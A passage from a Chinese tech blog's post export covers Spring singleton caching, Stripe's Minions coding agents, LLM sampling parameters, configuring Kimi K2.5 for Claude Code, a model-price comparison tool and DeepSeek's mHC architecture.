在加载一个类时，会自动加锁保证全局唯一）。\nSpring 是如何实现单例的？ Spring 里的单例（Singleton）和我们在《设计模式》书里学到的单例，在概念和实现思路上有很大的不同。\n●传统单例（GoF单例）：保证在一个 JVM（准确地说是类加载器）级别，某个类只有一个实例。类自己控制自己的实例化。\n●Spring 单例：保证在一个 Spring IoC 容器（ApplicationContext）内部，某个指定的 Bean 名称只有一个实例。它是由 Spring 框架来统一管理的。\nSpring 实现单例的核心原理可以概括为：单例注册表（Singleton Registry）\n1. 核心数据结构：ConcurrentHashMap 如果你翻开 Spring 的底层源码（DefaultSingletonBeanRegistry 类），你会发现 Spring 管理单例的本质，就是一个大大的缓存 Map：\n1⚡ java片段// Spring 源码中的 \u0026#34;一级缓存\u0026#34;，存放所有完全初始化好的单例 Bean 2private final Map\u0026lt;String, Object\u0026gt; singletonObjects = new ConcurrentHashMap\u0026lt;\u0026gt;(256); Spring 的单例其实就是把创建好的对象塞进了一个线程安全的 ConcurrentHashMap 里。Key 是 Bean 的名字（通常是类名首字母小写），Value 就是这个类的实例对象。\n2. Spring 创建单例的流程 当你在代码里注入一个单例（比如通过 @Autowired），或者调用 context.getBean(\u0026ldquo;myService\u0026rdquo;) 时，Spring 大致会经历以下步骤：\n1.查缓存：Spring 首先会去 singletonObjects 这个 Map 里查，看看有没有叫 \u0026ldquo;myService\u0026rdquo; 的对象。\n2.有则返回：如果 Map 里有，说明已经创建过了，直接把这个对象返回给你。这就是单例的体现。\n3.无则创建并加锁：如果 Map 里没有，Spring 就会准备创建它。为了保证在多线程环境下只有一个线程能去创建这个 Bean，Spring 会对这个 Bean 的名字进行加锁（通常是通过对全局单例集合的锁或者特定的互斥锁来实现同步）。\n4.实例化与初始化：Spring 通过反射调用构造函数把对象 new 出来，然后进行属性填充（依赖注入），再调用 @PostConstruct 等初始化方法。\n5.放入 Map 并返回：最后，把完全准备好的对象放进 singletonObjects 这个 ConcurrentHashMap 里，然后返回给你。以后所有对这个 Bean 的请求，都直接从 Map 里拿。\n3. 补充：循环依赖的杀手锏“三级缓存” Spring 在管理单例时，还要解决一个传统单例很难解决的问题——循环依赖（比如 A 依赖 B，B 又依赖 A）。\n为了解决这个问题，Spring 其实并没有只用一个 Map，而是用了三个 Map（传说中的三级缓存）：\n●一级缓存（singletonObjects）：存完整的、可用的单例对象。\n●二级缓存（earlySingletonObjects）：存半成品对象（刚 new 出来，但还没注入属性的对象），用于提前暴露自己，打破循环。\n●三级缓存（singletonFactories）：存对象工厂，用于在需要时生成代理对象（比如处理 AOP 切面）。\n结合上面的图，核心过程如下：\n第一阶段：A 的创建与曝光\n1.调用 getBean(A)：Spring 容器开始创建 Bean A。\n2.实例化 A：调用构造函数，A 对象在内存中诞生，但属性（如 B）还是 null。\n3.暴露三级缓存：Spring 将 A 的工厂对象放入 三级缓存 (singletonFactories)。这是解决循环依赖的关键一步，意味着此时如果有其他对象引用 A，可以通过这个工厂拿到 A 的引用。\n第二阶段：A 填充属性，触发 B 的创建\n4.填充属性 B：A 发现自己依赖 B，于是暂停自己，转而去创建 B。\n第三阶段：B 的创建与获取 A\n5.实例化 B：B 对象诞生，属性（如 A）还是 null。\n6.暴露三级缓存：将 B 的工厂放入三级缓存。\n7.填充属性 A：B 发现自己依赖 A，于是尝试去缓存找 A。\n第四阶段：B 从缓存中找到 A (核心转折)\n8.查找缓存：\n●找一级缓存？没有（A 还没彻底完工）。\n●找二级缓存？没有（还没人提取过 A 的早期引用）。\n●找三级缓存？有了！\n9.升级缓存：\n●B 调用三级缓存中的工厂方法，拿到 A 的早期引用。\n●重点：如果 A 配置了 AOP（比如事务管理），这个工厂会提前生成 A 的代理对象。\n●将 A 的早期引用放入 二级缓存 (earlySingletonObjects)，并从三级缓存移除。\n10.B 完成：B 拿到了 A 的引用，完成属性填充和初始化，放入 一级缓存。\n第五阶段：A 完成\n11.A 获取 B：B 已经创建好了，A 顺利拿到 B 的引用。\n12.A 完成：A 完成属性填充和初始化，放入 一级缓存。\n","date":"2026-02-25T10:13:49Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-02-25-yi-wen-jiang-tou-gof-de-23-zhong-she-ji-mo-shi-zhi-dan-li/cover.jpg","permalink":"/p/2026-02-25-yi-wen-jiang-tou-gof-de-23-zhong-she-ji-mo-shi-zhi-dan-li/","title":"一文讲透 GoF 的 23 种设计模式之单例"},{"content":"全程0人工写代码！干掉低级码农的不是大模型 在当前全行业的 AI 辅助编程浪潮中，大多数工具仍停留在“交互式伴游”阶段，而支付巨头 Stripe 却打造了一套完全无人值守的端到端代码智能体——“小黄人”（Minions）\n小黄人是一个独立打工的“数字员工”。目前的惊人数据是：在 Stripe 内部，每周有超过 1300 个由小黄人完全生成的 Pull Requests（合并请求）被成功合并。这些代码在最终阶段会经过人类审查，但其中不包含任何人类编写的代码。\n更具挑战的是，Stripe 的代码库高达数亿行，主要使用较冷门的带有 Sorbet 类型的 Ruby 语言，且包含大量 LLM 根本没见过的大型内部自研库。此外，这些代码每年要处理超过 1 万亿美元的支付量，合规与容错要求极高。\nStripe 是如何让 LLM 驾驭如此庞大且复杂的企业级代码库的？核心答案在于极其强大的定制化工程脚手架。\n以下是小黄人能高效运转的四大核心技术拆解。\n1 极致标准化的预热沙盒（Devboxes） 要让全自动 Agent 大规模并行工作，绝不能让它们跑在开发者杂乱的本地笔记本上。Stripe 的解法是直接复用为人类工程师打造的云端开发机（Devboxes）。\n●10 秒极速“热启动”：这些 Devbox 是 AWS EC2 实例。Stripe 预先配置并预热了一个资源池，里面已经克隆好了巨大的 Git 仓库，预热了 Bazel 构建缓存和类型检查缓存，甚至启动了持续运行的代码生成服务。因此，只要 10 秒钟，小黄人就能拿到一台随时可以运行测试和修改代码的机器。\n●免弹窗的完全提权：为了让小黄人在后台静默运行，它需要无缝执行各种 Shell 命令。因为 Devbox 运行在与生产资源和外部互联网隔离的 QA 环境中，爆炸半径被严格限制，所以系统敢于跳过人类权限确认弹窗，给予小黄人完整的执行自由。\n●解决并发冲突：如果用本地环境，并发运行多个 Agent 需要处理复杂的 git worktrees（这在 Stripe 的庞大代码库中无法扩展）。而在云端，工程师可以轻易地同时为 6 个不同的任务启动 6 个分配了独立 Devbox 的小黄人，实现物理级别的完美隔离\n2 “蓝图”编排（Blueprints）：将大模型装进确定性的盒子里 常规的 Agent 往往采用开放的循环机制，任由 LLM 自己决定下一步调什么工具，这极易导致出错和浪费 Token。 Stripe 创造性地引入了**“蓝图”（Blueprints）**状态机机制。蓝图将整个工作流视为一张图，将 LLM 的创造力与确定性的系统代码交织在一起：\n●确定性节点 vs Agent 节点：在蓝图中，像“实现具体任务”或“修复 CI 失败”是让 LLM 自由发挥的 Agent 节点；但是，像“运行配置好的 Linter”或“推送 Git 变更”则是完全不调用 LLM 的纯代码确定性节点。\n●底线兜底：这意味着小黄人无法绕过代码格式化等硬性规范。把大模型“关进受控的盒子里”，不仅极大地节省了 Token，还从系统层面提高了整体可靠性。各团队甚至可以编写自定义的蓝图，来处理复杂的、LLM 辅助的代码库迁移任务\n3 极其克制的上下文投喂：规则文件与 Toolshed 面对上亿行代码，如果把所有全局规则都塞给大模型，上下文窗口瞬间就会被撑爆。\n●按目录生效的局部规则：Stripe 几乎只使用作用于特定子目录或文件模式的规则文件。他们巧妙地复用了人类工程师为 Cursor 编写的规则格式。这样，工程师在日常开发中沉淀的最佳实践，小黄人（以及 Claude Code）在遍历文件系统时就能直接动态读取并学习。\n●MCP 工具棚（Toolshed）：小黄人通过模型上下文协议（MCP）获取网络信息（工单、文档、代码搜索等）。Stripe 建立了一个包含近 500 个内部与 SaaS 工具的中央服务器 Toolshed。但为了防止 Agent 分心，系统每次只会为小黄人精心挑选一个“小巧而高度相关”\n4 反馈左移（Shifting Feedback Left）：极速纠错循环 无人值守 Agent 成功的关键在于能否实现自我闭环修正。Stripe 为其构建了多层极速反馈循环：\n●5 秒内的本地验证：在小黄人把代码推送到 CI 之前，Devbox 上的后台守护进程会通过启发式算法自动运行相关的 Linter 和类型检查。这个本地节点耗时不到 5 秒，让小黄人在本地极速完成语法纠错。\n●克制的 CI 测试轮数：Stripe 的 CI 拥有超过 300 万个测试用例。推送到 CI 后，系统会运行相关测试，并自动应用已有的修复脚本（Autofixes）。如果还有未修复的错误，报错会发回给小黄人。但为了平衡算力成本、时间与边际收益，小黄人最多只被允许进行 1 到 2 次的 CI 循环试错。之后无论成败，都会将其移交给人类处理，防止其陷入昂贵的死循环\n给我的启示 基于 Stripe 公开的这些技术细节，我得出了以下几点关于 AI 研发提效的深刻感悟：\n1.“对人类工程师有益的基础设施，对 LLM 同样有益” 这是 Stripe 整个小黄人项目最核心的哲学。Stripe 并没有为了做 AI Agent 去凭空造一套新基建，而是直接将 AI 接入了他们多年打磨的 Devbox 环境、Pre-push hooks 和自动化测试管线中。这给所有企业的启示是：AI Agent 的天花板，取决于你现有工程基础设施的底座。 如果你的人类工程师本地环境经常崩溃、缺乏单测覆盖率、文档陈旧，那么大模型也一样会在这些泥坑里寸步难行。过去在人类开发者体验（Developer Productivity）上的每一分投资，都会在 AI 时代转化为巨大的复利回报。\n2.放弃追求纯粹的“全能 Agent”，用“蓝图”管控不确定性 目前业界过度迷恋让一个 Agent 自主解决所有问题。但 Stripe 的蓝图（Blueprints）设计极其务实：能用一行 Bash 脚本或 Linter 稳定解决的问题（如代码格式化、Git 提交流程），就绝对不让 LLM 消耗 Token 去“推理”。在企业级生产环境中，**混合架构（确定性代码逻辑 + 局部受控的 LLM 节点）**才是保证系统高可靠性（SLA）的唯一出路。\n3.工程师的日常工作流正在被重塑 ，在 Stripe，触发小黄人的方式极度符合人体工程学：工程师可以直接在 Slack 的讨论线程里@小黄人，或者在内部的“CI 间歇性失败（Flaky test）”工单中点击一个按钮启动它。我们可以预见，未来的高级工程师将越来越像一个“包工头”：他们在值班（On-call）时并行启动几十个小黄人去处理琐碎的 Bug，自己则专注于审查 PR、设计架构，以及维护和编写能够指导小黄人的局部规则（Cursor rules）。工程师不再逐行敲击代码，而是定义意图并管理基础设施。\n参考 ●https://stripe.dev/blog/minions-stripes-one-shot-end-to-end-coding-agents\n●https://stripe.dev/blog/minions-stripes-one-shot-end-to-end-coding-agents-part-2\n","date":"2026-02-24T03:46:39Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-02-24-quan-cheng-0-ren-gong-xie-dai-ma-gan-diao-di-ji-ma-nong-de-b/cover.jpg","permalink":"/p/2026-02-24-quan-cheng-0-ren-gong-xie-dai-ma-gan-diao-di-ji-ma-nong-de-b/","title":"全程0人工写代码！干掉低级码农的不是大模型"},{"content":"根据 论文 https://arxiv.org/abs/2512.13564 整理而来 《Memory in the Age of AI Agents》 Memery 这块儿的前景是很不错的，最近接触了好几个创业公司都在做这个方向，音频是用豆包完整生成的，我没想到已经有半小时那么长了，虽然不是 100% 准确，但至少有 95% 准确 ，很棒了。\n小盒子的技术分享\n","date":"2026-02-21T09:25:35Z","permalink":"/p/2026-02-21-ai-dai-li-shi-dai-de-ji-yi-yan-jiu-zong-shu/","title":"《AI+代理时代的记忆研究综述》"},{"content":"LLM 采样参数：Top-k vs Top-p (一分钟极速版) AI 说话不是确定的，它是按概率“猜”词。这俩参数就是防止它乱猜的过滤器，用来控制抽签范围与随机程度\n1. 核心区别 Top-k (死板排名)：只取前几名 ●逻辑： \u0026ldquo;不管大家分差多少，我只要前 10 个人。\u0026rdquo;\n●缺点： 容易把合理的第 11 名切掉，或者把离谱的第 10 名选进来。它是硬截断。\nTop-p (动态质量)：只取靠谱的 ●逻辑： \u0026ldquo;不限人数，但这些人的成功率加起来要达到 90%。\u0026rdquo;\n●优点： 确定时它圈子小（严谨），不确定时它圈子大（丰富）。它是软截断。\n2. 怎么调？ 基本原则 ●一次只动一个：可以先动 top_p，效果稳定后再考虑叠加。\n●从默认值附近小步调整，比一上来极端值（如 top_p=0.1）更稳\n●不要试图寻找“完美通用参数”，根据场景来选择\n场景 A：要严谨 (代码、数学、事实问答) 目标： 别废话，别幻觉，要精准。\n设置：\n●Top-p: 0.7 ~ 1.0（多数时候先别动，或小幅收敛）\n●Top-k: 视平台而定；如果能设置把它当作 “垃圾词兜底上限”，例如 20 ~ 100，不要盲目追求很小\n●Temperature: 0.0 ~ 0.3（越低越稳定)\n场景 B：要人味 (写文案、聊天、头脑风暴) 目标： 词汇丰富点，别像个复读机。\n设置：\n●Top-p: 0.9 ~ 1.0 (主力参数，保留长尾可能性)\n●Top-k: 40 ~ 200 (用来剔除极低概率的垃圾词)\n●Temperature: 0.7 ~ 1.2 （更随机、更发散）\n3 调参经验 官方的一些文档对这些限制写的比较清楚，比如：\n●OpenAI 官方文档反复强调： 一般只调整 temperature 或 top_p 其中一个，不要两个一起乱调。\n●Gemini 3 官方文档明确写了:强烈建议 temperature 保持默认 1.0；把温度调到 1.0 以下可能导致循环或性能下降，尤其在复杂数学 / 推理任务\n●在 Vertex AI 的 Gemini 3 Flash 页面里：topK 是 固定为 64（你并不能随便设 40–100）\n所以建议：\n●先只调一个：优先从 temperature 或 top_p 选一个小步微调\n●用 Gemini 3 时：先别动 temperature，保持 1.0，需要收敛再动 top_p/top_k\n","date":"2026-02-01T04:40:39Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-02-01-llm-cai-yang-can-shu-top-k-vs-top-p-yi-fen-zhong-ji-su-ban/cover.jpg","permalink":"/p/2026-02-01-llm-cai-yang-can-shu-top-k-vs-top-p-yi-fen-zhong-ji-su-ban/","title":"LLM 采样参数：Top-k vs Top-p (一分钟极速版)"},{"content":"昨天折腾了半天，厕所都没上，没搞定，今天一分钟搞定了，其实非常简单。\n前提条件什么的自不用说，主要是两步，我是 mac 系统，windows 的不知道。\n第一步 把语言设置一下，注意是在操作系统中设置chrome 的自定义语言\n第二步 打开终端，输入以后命令后回车\n⚡ 代码片段open -n -a \u0026quot;Google Chrome\u0026quot; --args --variations-override-country=us\n也可以用这个项目设置一下 ：https://github.com/lcandy2/enable-chrome-ai\n然后重启 chrome 就可以了，location 如果不支持，你应该知道怎么办吧，哈哈。\n","date":"2026-01-31T02:03:30Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-01-31-ru-he-zai-mac-de-chrome-zhong-kai-qi-gemini-ce-bian-lan/cover.jpg","permalink":"/p/2026-01-31-ru-he-zai-mac-de-chrome-zhong-kai-qi-gemini-ce-bian-lan/","title":"如何在 mac 的 chrome 中开启 gemini 侧边栏"},{"content":"Kimi K2.5 模型接入 Claude Code 完全指南 Claude Code 是 Anthropic 推出的官方命令行工具，让开发者能够在终端中与 Claude AI 进行交互式编程。通过简单的环境变量配置，你可以将 Claude Code 的后端从默认的 Claude 模型切换到 Kimi K2.5 模型，享受更强大的中文理解和代码生成能力。\n本文将详细介绍如何在 macOS、Linux 和 Windows 系统上完成配置，让你能够快速开始使用 Kimi K2.5 驱动 Claude Code。\n准备工作 在开始配置之前，请确保你已经完成以下准备工作：\n1.安装 Claude Code：如果尚未安装，请参考 Anthropic 官方文档 进行安装\n2.获取 Kimi API Key：前往 Kimi 开放平台 注册账号并获取 API Key\n3.确认终端环境：确保你使用的是 bash、zsh 或 PowerShell 等常见 shell\n核心配置项 将 Kimi K2.5 接入 Claude Code 需要配置三个关键环境变量：\n环境变量 说明 值 ANTHROPIC_BASE_URL API 基础地址 https://api.kimi.com/coding/ ANTHROPIC_API_KEY 你的 Kimi API 密钥 sk-kimi-xxxxxxxx ANTHROPIC_MODEL 使用的模型名称 kimi-for-coding macOS / Linux 配置方法 方法一：临时配置（当前终端会话） 如果你只想在当前终端会话中使用 Kimi K2.5，可以直接执行以下命令：\n1⚡ bash片段export ANTHROPIC_BASE_URL=https://api.kimi.com/coding/ 2export ANTHROPIC_API_KEY=sk-kimi-************************* 3export ANTHROPIC_MODEL=kimi-for-coding 配置完成后，启动 Claude Code：\n⚡ bash片段claude\n注意：这种方式只在当前终端窗口有效，关闭窗口后配置会失效。\n方法二：永久配置（推荐） 为了让配置在每次打开终端时自动生效，你需要将环境变量添加到 shell 配置文件中。\n1. 确定你的 shell 类型 ⚡ bash片段echo $SHELL\n●如果输出 /bin/zsh，使用 ~/.zshrc\n●如果输出 /bin/bash，使用 ~/.bashrc 或 ~/.bash_profile\n2. 编辑配置文件 使用你喜欢的编辑器打开配置文件：\n1⚡ bash片段# 对于 zsh 用户 2nano ~/.zshrc 3 4# 对于 bash 用户 5nano ~/.bashrc 3. 添加环境变量 在文件末尾添加以下内容：\n1⚡ bash片段# Kimi K2.5 for Claude Code 2export ANTHROPIC_BASE_URL=https://api.kimi.com/coding/ 3export ANTHROPIC_API_KEY=sk-kimi-********************************** 4export ANTHROPIC_MODEL=kimi-for-coding 4. 保存并生效 保存文件后，运行以下命令使配置生效：\n1⚡ bash片段# 对于 zsh 用户 2source ~/.zshrc 3 4# 对于 bash 用户 5source ~/.bashrc 5. 验证配置 ⚡ bash片段echo $ANTHROPIC_MODEL\n如果输出 kimi-for-coding，说明配置成功。\nWindows 配置方法 方法一：PowerShell 临时配置 1⚡ powershell片段$env:ANTHROPIC_BASE_URL = \u0026#34;https://api.kimi.com/coding/\u0026#34; 2$env:ANTHROPIC_API_KEY = \u0026#34;sk-kimi-*************************\u0026#34; 3$env:ANTHROPIC_MODEL = \u0026#34;kimi-for-coding\u0026#34; 方法二：系统环境变量（永久配置） 1.按 Win + R，输入 sysdm.cpl 打开系统属性\n2.点击 高级 → 环境变量\n3.在 用户变量 区域点击 新建，添加以下三个变量：\n变量名 变量值 ANTHROPIC_BASE_URL https://api.kimi.com/coding/ ANTHROPIC_API_KEY sk-kimi-********************* ANTHROPIC_MODEL kimi-for-coding 1.点击 确定 保存\n2.重启终端 使配置生效\n方法三：PowerShell 配置文件 在 PowerShell 中执行：\n1⚡ powershell片段# 创建配置文件（如果不存在） 2if (!(Test-Path $PROFILE)) { 3 New-Item -Path $PROFILE -Type File -Force 4} 5 6# 添加环境变量 7Add-Content $PROFILE \u0026#34;`n$env:ANTHROPIC_BASE_URL = \u0026#39;https://api.kimi.com/coding/\u0026#39;\u0026#34; 8Add-Content $PROFILE \u0026#34;`n$env:ANTHROPIC_API_KEY = \u0026#39;sk-kimi-*************************\u0026#39;\u0026#34; 9Add-Content $PROFILE \u0026#34;`n$env:ANTHROPIC_MODEL = \u0026#39;kimi-for-coding\u0026#39;\u0026#34; 验证连接 配置完成后，启动 Claude Code 并验证是否成功连接到 Kimi K2.5：\n⚡ bash片段claude\n在 Claude Code 中，输入 /model 查看当前使用的模型：\n如果返回的信息中包含 Kimi 或 kimi-for-coding，说明配置成功。\n","date":"2026-01-28T08:20:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-01-28-kimi-k2-5-mo-xing-jie-ru-claude-code-wan-quan-zhi-nan/cover.jpg","permalink":"/p/2026-01-28-kimi-k2-5-mo-xing-jie-ru-claude-code-wan-quan-zhi-nan/","title":"Kimi K2.5 模型接入 Claude Code 完全指南"},{"content":"这是我用 claude code+ remotion skiils（npx skills add remotion-dev/skills） 用一句话生成的视频\n视频+背景音乐+字幕+语音 ，一句话，几分钟，全都有了，这在以前简直不可想象 ，事情发展得太快了。\n","date":"2026-01-22T16:10:10Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-01-22-shi-dai-fa-zhan-de-tai-kuai-le/cover.jpg","permalink":"/p/2026-01-22-shi-dai-fa-zhan-de-tai-kuai-le/","title":"时代发展得太快了"},{"content":"大家好，我是小盒子。\n这两年 AI 大模型卷得厉害，GPT-4、Claude、Gemini、Llama……模型眼花缭乱，价格也是五花八门。作为一个经常要调用 API 的开发者，我经常想搞清楚一个问题：到底谁家的模型便宜？性价比高的是哪个？\n说实话，每次想比较价格，我都得打开一堆浏览器标签页：AWS Bedrock 的定价页、Azure OpenAI 的价格表、OpenAI 官网、还有 OpenRouter……然后手动对比，算汇率，头都大了。更要命的是，这些价格还时不时更新，上周看的数据，这周可能就变了。\n不知道你有没有同感：\n●想用 Claude 3.5 Sonnet，但不确定是直接调 Anthropic 便宜，还是走 AWS Bedrock 便宜？\n●项目预算有限，想找个便宜点的模型先跑通，但不知道该选谁？\n●跟老板汇报要说清楚模型成本，却发现各家的计价单位都不一样，有的按 1K tokens，有的按 1M tokens，换算起来很麻烦？\n就因为这些\u0026quot;痛点\u0026quot;，前段时间，我干脆撸起袖子，做了一个工具来解决这个问题。\n于是，Model Price 就这么诞生了。\n它的目标很简单：把各大 AI 服务商的模型价格聚合到一起，让你一眼就能看清谁便宜、谁贵、性价比如何。\n代码都在这儿了，开诚布公，欢迎随时来坐坐：\n●GitHub: https://github.com/xiaobox/model-price\n●在线演示: https://modelprice.boxtech.icu\n（要是觉得还行，顺手点个 Star，就是对我最大的肯定。）\n这把\u0026quot;锤子\u0026quot;，我花了些心思去打磨 我不想只做个\u0026quot;能看\u0026quot;的工具，我希望它能\u0026quot;好用\u0026quot;，甚至让你\u0026quot;爱用\u0026quot;。所以，在几个关键的地方下了功夫。\n首先，数据要全 目前 Model Price 覆盖了 6 家主流 AI 服务商，580+ 个模型：\n服务商 模型数量 数据来源 AWS Bedrock 96+ 公开 API Azure OpenAI 50+ 零售价格 API OpenAI 53+ 官网爬虫 Google Gemini 31+ 官网爬虫 OpenRouter 339+ 公开 API xAI (Grok) 12+ 官方文档 无论你用的是 GPT-4、Claude 3.5、Gemini Pro 还是 Llama，都能在这里找到对应的价格。\n其次，数据要准 最让我头疼的就是价格变动。所以我给 Model Price 做了自动数据获取机制：\n●对于有公开 API 的服务商（如 AWS、Azure、OpenRouter），直接调接口拿最新数据\n●对于没有 API 的服务商（如 OpenAI、Google），用 Playwright 爬虫自动抓取官网定价\n这样一来，数据基本能保持实时更新，你不用再担心看到的是过时信息。\n查找要快 580+ 个模型，如果只能翻页查看，那体验也太差了。所以我加了多维度筛选：\n●按提供商筛选：只看 OpenAI 的？只看 AWS 的？一键切换\n●按模型系列筛选：只看 GPT-4 系列？只看 Claude 系列？\n●按能力标签筛选：支持视觉的？支持音频的？支持 Function Call 的？\n●按价格排序：从低到高、从高到低\n基本上，三秒内就能找到你想要的模型。\n最后，看着要舒服 我做了两种视图模式：\n●卡片视图：信息展示更直观，适合浏览\n●表格视图：数据更紧凑，适合对比\n每个模型的价格还有一个小的柱状图，让你一眼就能看出谁贵谁便宜。输入输出价格分开展示，Batch API 价格也有，该有的都有。\n技术栈，给爱折腾的朋友参考 Model Price 的技术选型很主流，方便大家二次开发：\n后端：\n●Python 3.11+\n●FastAPI（高性能异步框架）\n●Playwright（网页爬虫，用于抓取 OpenAI、Google 官网）\n●httpx（异步 HTTP 客户端）\n●uv（超快的 Python 包管理器）\n前端：\n●React 18\n●TypeScript 5\n●Vite（构建工具）\n●CSS Variables（主题系统）\n代码结构清晰，Provider 采用插件架构，想要接入新的服务商，只需要实现一个 BaseProvider.fetch() 方法就行。\n这只是个开始 想邀请你一起来添砖加瓦 现在 Model Price 已经能用了，但它离\u0026quot;完美\u0026quot;还差得很远。一个人的力量终究有限，一个好的开源项目，生命力在于社区。\n所以，我诚心地邀请你，无论你是谁，都可以来参与这件事：\n●如果你只是想找个工具查价格：欢迎直接访问 https://modelprice.boxtech.icu 使用。如果能顺手在 GitHub 上点个 Star，我会非常开心。\n●如果你经常用某个服务商，发现数据有误：欢迎提 Issue 告诉我，我会尽快修复。\n●如果你和我一样，是个爱折腾的开发者：欢迎来读源码，提 PR。比如接入新的服务商、优化爬虫逻辑、改进 UI 交互……都非常欢迎。\n●如果你有其他想法：比如想要对比历史价格、想要价格变动提醒、想要导出 Excel……都可以提 Issue，我们一起讨论。\n一个优秀的开源项目，就像一场漫长的篝火晚会，需要不断有人添柴，才能一直燃烧下去。\nModel Price 就是我点起的第一根火柴。\n好了，就说这么多。感谢你耐心听我这个老家伙唠叨。\n如果你对 Model Price 有一点点兴趣，就去看看吧。期待在 GitHub 上，看到你的身影。\nGitHub 传送门： https://github.com/xiaobox/model-price\n","date":"2026-01-22T07:51:40Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-01-22-hei-peng-you-zuo-le-ge-ai-mo-xing-bi-jia-gong-ju-xiang-qing-/cover.jpg","permalink":"/p/2026-01-22-hei-peng-you-zuo-le-ge-ai-mo-xing-bi-jia-gong-ju-xiang-qing/","title":"嘿，朋友，做了个 AI 模型比价工具，想请你来试试"},{"content":"2025 年终于翻篇了。\n回看过去这一年，全球 AI 行业简直是在 “神仙打架”。从美国的 OpenAI 到中国的各大厂，大家都在疯狂迭代，没有谁敢在舒适圈里躺平。 但在如此窒息的竞争节奏下，DeepSeek 依然是个异类。 无论是综合能力极强的 V3，还是推理模型 R1，亦或 Coder 系列，DeepSeek 总能以一种 “不仅强，而且便宜得不可思议” 的姿态出现。\n大家都在研究他们的显卡利用率，研究他们的 MoE 路由。 然后 2025 年的最后一天，DeepSeek 又默默丢出了一篇名为 mHC 的论文 。\n看完这篇论文，我才真正理解了 DeepSeek 这个生态为何能爆发得如此之快。 这不仅仅是一项技术优化，更是一种敢于挑战权威和规则的勇气。\n当大多数团队还在常规的架构上修修补补时，DeepSeek 的研究员们已经把手术刀伸向了模型最基础、也最敏感的 “血管”—— 残差连接。 这是一次极高风险的赌博：他们为了追求极致的模型容量，选了一条理论上极不稳定的路，用一道优雅的数学公式，硬生生把这条路给铺平了。\nDeepSeek 最可怕的不是某一个具体的模型，而是他们对底层数学原理的掌控力。正是这种能力，支撑起了从 R1 到 V3 这一条条产品线的快速突破。DeepSeek 的护城河，比我们想象的还要深。\n即使是 GPT-5，也逃不掉的 “老祖宗之法” 在深度学习领域，网络越深，越需要一条 “直通车”。残差（ResNet）就是那条车道：不一定唯一，但几乎是默认选项。\n不管是 GPT-5 还是 Gemini 3，扒开代码，核心逻辑都长这样：\n⚡ 代码片段下一层的输入 = 上一层的输出 + 这一层的变化\n这叫恒等映射。它像一条笔直的管道，保证信号能安全地流到第 100 层。从何凯明的《Deep Residual Learning for Image Recognition》开始，十年了，哪怕是最激进的架构师，也不敢轻易动这个地方。\n但创新的接力赛其实已经开始了。 2024 年 9 月，字节跳动（ByteDance） 的 Seed 团队率先搞出了一个叫 Hyper-Connections (HC) 的理论 （https://arxiv.org/abs/2409.19606）。 这帮人的脑洞很大：为什么要死守着原封不动？把信号打散、揉碎，多搞几条路混合在一起，模型的脑容量不是更大吗？\n不得不说，字节跳动这个想法很有前瞻性，但在当时来看，它更像是个 “半成品”。 因为它有个致命缺陷：极其不稳定。对于追求稳妥的大模型团队来说，这种 “理论收益高、实际风险大” 的方案，通常看完论文就扔进收藏夹吃灰了 —— 毕竟谁也不想拿几千万的显卡去赌一个可能会炸的模型。\n但 DeepSeek 的工程师思路不太一样。 他们看完论文，没盯着风险看，而是死死盯着那个 “收益”。 他们觉得，这玩意儿虽然现在会炸，但原理没毛病。只要能想办法给它装个 “刹车”，它就是跑得最快的。 于是，他们做了一个非常务实的决定：把这个友商没跑通的架构捡起来，自己动手修好，然后真的用到了自家的大模型上。\n但这毕竟是给高速行驶的赛车换引擎，稍微手抖一下就是车毁人亡。DeepSeek 真的稳住了吗？\n压力测试 DeepSeek 为了证明自己的方案（mHC）到底稳不稳，他们在 27B 的模型上，用 mHC（灰线） 和 HC（蓝线）做了个对比测试：\n大家注意看这两条线的走向。\n●左图 (a) ：蓝线（HC）的 Loss Gap 在 12000 步之前，它还在 0 附近徘徊；但过了 12000 步，蓝线突然旱地拔葱，直线飙升。\n●右图 (b) ：蓝线（HC）的梯度在 12000 步左右突然开始疯狂抖动，全是毛刺。\nHC 在训练进行到 12000 步时，梯度范数（Grad Norm）突然开始剧烈震荡。 这意味着什么？意味着模型内部的信号传导出问题了，每一次参数更新都在 “乱指路”。这就好比赛车开到 200 码时，方向盘突然开始疯狂抖动，车身剧烈摇摆。结果就是车彻底撞毁了，因为右边的梯度乱了，左边的 Loss 自然就崩了。 蓝线（Loss Gap）的瞬间飙升，就是梯度失控的直接后果。模型不仅学不到新东西，反而把之前学到的也吐出来了。这就是典型的 “训练崩溃”。\n再看那条灰线，对比简直不要太强烈。 无论右边的梯度怎么波动，加了数学约束的 mHC（灰线）始终把梯度按得死死的，平滑得像条直线。 因为内部稳住了，外部的表现自然就稳了 —— 所以在左图中，它的 Loss 始终贴着基准线走，完全没有出现暴涨。\nDeepSeek 用这组图证明了： HC 的崩溃不是偶然，而是必然（右图的梯度震荡）。 而 mHC 成功的原因是数学约束带来的平稳。\n3000 倍的隐形 “通胀” 既然灰线（mHC）在结果上已经赢了，那我们必须得搞清楚：蓝线（HC）到底是怎么输的？\nDeepSeek 的工程师对模型内部的信号做了一次深度 CT 扫描。他们想看看，信号在网络里传导时，到底是被放大了还是缩小了。\n这是一组极具欺骗性的对比。\n●左图 (a) 看单层：看起来很正常。每一个单独的层（Single Layer），信号增益都在 1 附近波动，稍微大一点点而已。\n●右图 (b) 看叠加：灾难发生了。当几十层叠加在一起（Composite Mapping），那个微小的 “一点点” 被指数级放大，蓝线直接飙到了天际。\n这两张图揭示了 HC 架构最隐蔽的致命伤。如果你只看单层（左图），你会觉得 HC 没啥大毛病。它的信号放大倍数也就 1.1、1.2 的样子。很多工程师看到这就放心了：“这不挺稳的嘛？” 但别忘了，大模型动不动就是 60 层起步。真正的恐怖在右图。 当信号穿过 60 层网络时，那些看似无害的 1.1 倍被连续相乘。 1.1 的 60 次方=304。 如果是 1.2 呢？结果是 56000。\n图中蓝线（HC）清晰地记录了这个失控的过程：在深层网络，反向传播的梯度增益（Backward Gradient Gain）最高飙到了 3000 。这是什么概念？ 正常模型的信号增益应该是 1（能量守恒）。 但蓝线飙到了 